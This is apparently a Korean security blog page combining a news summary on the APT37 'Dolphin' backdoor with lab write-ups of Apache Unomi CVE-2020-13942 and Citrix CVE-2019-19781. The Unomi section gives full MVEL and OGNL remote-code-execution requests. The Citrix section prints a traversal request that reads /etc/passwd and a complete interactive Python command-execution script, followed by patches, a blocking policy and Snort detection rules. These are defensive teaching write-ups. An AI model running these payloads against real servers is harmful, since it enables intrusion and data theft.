- 백도어의 신속하고 효과적인 탐지와 대응을 위해서는 인공지능 등을 이용한 탐지 능력 강화, 지속적인 모니터링과 효과적인 공격 정보 공유를 통해 이러한 공격에 대응해야 피해를 최소화 할 수 있음

- APT37은 한국에서 금성121 조직명으로도 알려져 있는데, 주로 대북분야 종사자들(탈북자, 북한 관련 연구원)을 상대로 집중적으로 해킹하는 첩보활동이 포착
- 안드로이드 스마트폰용 악성앱을 카카오톡이나 텔레그램 등의 메신저를 통해 전달해 단말기 정보를 탈취하거나 도청 등을 시도 이력 존재
- 탈북자 모임 사이트나 북한 관련 뉴스 사이트를 대상으로 워터링홀 공격을 수행
- 클라우드 기반 파일 공유 서비스를 명령제어(C2) 서버로 사용

- 돌핀 백도어가 노리는 파일들이 MS Office 문서들 외에 우리나라에서 많이 쓰이는 한쇼, 한셀, hwp 등과 같은 한컴 문서와 아웃룩 메일 등이 포함

- 백도어 감염으로 인한 정보유출을 차단하기 위해 엔드포인트(End Point 보안을 강화해야 할 필요
- 개인이 이러한 공격은 막기 어려워 구글과 공동으로 해당 조직이 사용하는 구글 드라이브와 지메일 계정을 모니터링하고 추적하는 협조 체계 구축이 필요

 

보안뉴스

 

북 해커조직 APT37, 만능 기능 ‘돌핀’ 백도어로 남한 정찰

북한 추정 해커조직 APT37가 만능 스파이 활동 기능을 갖춘 백도어 ‘돌핀(Dolphin)’를 심어 남한을 정찰하고 명령제어(C&C) 서버와의 통신을 위해 구글 드라이브를 악용한 정황이 포착됐다.

www.boannews.com

1. Apache Unomi

- Apache Unomi는 고객 및 방문자 등의 데이터를 관리하고, 개인정보 규범들(ex: GDPR)을 준수하며, 고객의 경험을 개인화 하는 자바 오픈소스 고객데이터플랫폼(CDP- Customer Data Platform)

 

| Main Page

Apache Unomi™: The Open Source Customer Data Platform Apache Unomi™ (pronounced "You know me") is a Java Open Source customer data platform, a Java server designed to manage customers, leads and visitors data and help personalize customers experiences

unomi.apache.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2020-13942

- 취약한 버전의 Apache Unomi를 사용하면 /context.json을 통해 MVEL 및 OGNL 표현식을 사용하여 Unomi 애플리케이션 권한으로 원격 코드 실행이 가능

- 해당 취약점은 Unomi 1.5.1에서 부분적으로 패치가 되었음

취약한 버전 : Apache Unomi < 1.5.2

 

2.1 취약점 실습

* https://unomi.apache.org/tutorial.html를 참조해 직접 설치하려 했으나 karaf 실행 후 멈춤 현상이 발생하여 도커 사용

 

- 취약 서버 구동 후 정상 접근 확인

git clone https://github.com/vulhub/vulhub
cd /​vulhub/unomi/CVE-2020-13942
docker-compose up -d

 

[사진 2] 취약 서버 구동(위) 및 정상 접근 확인(아래)

2.1.1 MVEL 표현식

MVEL 표현식 (MVLEX Expression Language)
- 자바 플랫폼을 위한 동적/정적 유형의 임베디드 가능한 표현 언어이자 런타임

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 MVEL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/MVELTest\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

 

[사진 3] 조작된 요청 전송 및 200 응답

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 4] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 MVLETest 파일이 생성

[사진 5] MVELTest 파일 생성

2.2.2 OGNL 표현식

OGNL (Object Graph Navigation Language)
- 자바 언어가 지원하는 범위보다 더 단순한 식을 사용하면서 속성을 가져와 설정하는 것을 허용하고 자바 클래스의 메소드를 실행하는 오픈 소스 표현식 언어(EL)

- 프록시 설정 후 버프슈트를 통한 요청 값 변조

① POST 메소드로 /context.json URL 요청

② /tmp 디렉터리에 임의의 파일을 생성하는 OGNL 표현식 삽입

POST /context.json HTTP/1.1
Host: 192.168.56.112:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/OGNLTest\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
}

 

[사진 6] 조작된 요청 전송 및 200 응닶 확인

- 와이어샤크로 해당 패킷을 확인해보면 다음과 같음

[사진 7] 와이어샤크 패킷 확인

- 피해 시스템의 /tmp 디렉터리를 확인해보면 OGNLTest 파일이 생성

[사진 8] OGNLTest 파일 생성

 

2.2 분석

- [사진 9]는 CVE-2020-11975(Unomi OGNL 표현식 RCE)에 적용된 패치

- OGNL 표현식에 대해서는 허용/차단 목록을 통해 실행을 제한하였지만, MVEL 표현식은 적용되지 않음_[사진 1] Unomi 1.5.1 부분 패치 적용

- MVEL 표현식에 대한 실행 제한은 Unomi 1.5.2부터 적용된 것으로 판단됨.

[사진 9] CVE-2020-11975에 대한 패치

3. 대응방안

3.1 서버측면

① 최신 버전 또는 1.5.2 버전으로 즉시 업데이트 적용

- 1.5 이전 버전은 OGNL 및 MVEL 표현식에의한 RCE 가능

- 1.5.1 버전은 MVEL 표현식에 의한 RCE 가능

 

3.2 네트워크 측면

 탐지 룰 적용 및 모니터링, 차단

- PoC를 통해 POST 메소드를 통한 /context.json URL 요청이 확인되므로 해당 문자열을 탐지

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2020-13942
https://github.com/eugenebmx/CVE-2020-13942
https://github.com/vulhub/vulhub
https://sysdig.com/blog/cve-2020-13942-uomi/
https://unomi.apache.org/security/cve-2020-13942.txt

1. Citrix

- 1989년 설립된 미국의 다국적 소프트웨어 기업

- 서버, 애플리케이션 및 데스크톱 가상화, 네트워킹, SaaS, 클라우드 컴퓨팅 기술을 제공

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2019-19781

- 취약한 Citrix 제품군에서 입력값 검증이 부족하여 발생하는 디렉터리 트래버설 취약점

취약한 버전 : Citrix ADC(Application Delivery Controller) 및 Gateway 10.5, 11.1, 12.0, 12.1 및 13.0

 

[사진 2] SHODAN 검색 화면

 

2.1 분석

- 입력값에 대한 검증없이 요청 받은 경로를 직접 사용함으로써 발생하는 취약점

- 취약한 버전의 Citrix 제품군의 /vpns/ 경로에 인증 없이 디렉토리를 포함한 제한된 파일에 접근이 가능한 perl 스크립트가 존재

- 해당 perl 스크립트에서 요청 받은 경로를 직접 사용

Payload 예시
- https://Target IP/vpn/../vpns/services.html
- https://Target IP/vpn/../vpns/cfg/smb.conf

 

[사진 3] PoC 요청 및 200 응답

 

- 또한, 원격의 공격자는 XML을 업로드한 후 해당 XML 파일을 요청하여 내용을 확인 가능함

① POST 메소드로 /vpn/../vpns/portal/scripts/newbm.pl 경로 요청

② NSC_USER 헤더에 ../ 포함하여 randomletter(변경가능) 이라는 이름의 XML 파일 업로드

* Default 계정 정보 : nsroot/nsroot

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/randomletter
NSC_NONCE: nsroot
Content-Length: 97

url=http://example.com&title=randomletter&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

③ ②에서 업로드한 파일 요청 시 /etc/passwd의 내용을 확인 가능

[사진 4] XML 파일 업로드 및 /etc/passwd 파일 노출

2.2 PoC

- /vpn/../vpns/portal/scripts/newbm.pl URL 요청 및 NSC_USER 헤더값 조작

#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")

if len(sys.argv) < 2:
  print("[-] No URL provided")
  sys.exit(0)

while True:
    try:
      command = input("command > ")

      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
      print("[+] Adding bookmark", random_xml + ".xml")

      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)

      if r.status_code == 200:
        print("[+] Bookmark added")
      else:
        print("\n[-] Target not vulnerable or something went wrong")
        sys.exit(0)

      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
      r = requests.get(burp0_url, headers=burp0_headers,verify=False)

      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
      print("[+] Result of the command: \n")
      print(replaced)

    except KeyboardInterrupt:
            print("Exiting...")
            break

 

3. 대응방안

3.1 서버측면

① 보안 패치 적용

버전 패치 버전 패치 공개일
10.5 10.5.70.12 2020.01.24
11.1 11.1.63.15 2020.01.19
12.0 12.0.63.13 2020.01.19
12.1 12.1.55.18 2020.01.24
13.0 13.0.47.24 2020.01.24

 

② Citrix는 특정 응답자 정책을 적용하여, 공격 시도를 필터링 할 것을 권장

- /../이 포함된 요청과 /vpns/ 디렉터리에 접근하려는 요청을 차단

add responder action respondwith403 respondwith "\"HTTP/1.1 403 
Forbidden\r\n\r\n\""

add responder policy ctx267027 
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && 
(!CLIENT.SSLVPN.IS_SSLVPN || 
HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" 
respondwith403

 

3.2 네트워크 측면

탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /vpns/(혹은 /vpn/)이하의 URL로 접근 및 ../ 사용이 확인되므로 해당 문자열을 탐지

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2019-19781

https://github.com/mpgn/CVE-2019-19781

https://github.com/jas502n/CVE-2019-19781

https://www.cisa.gov/uscert/ncas/alerts/aa20-031a

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35250&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTktMTk3ODE=

- https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance

https://support.citrix.com/article/CTX276688/citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance-security-update

https://www.tripwire.com/state-of-security/citrix-netscaler-cve-2019-19781-what-you-need-to-know

https://www.tenable.com/blog/cve-2019-19781-exploit-scripts-for-remote-code-execution-vulnerability-in-citrix-adc-and

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/

+ Recent posts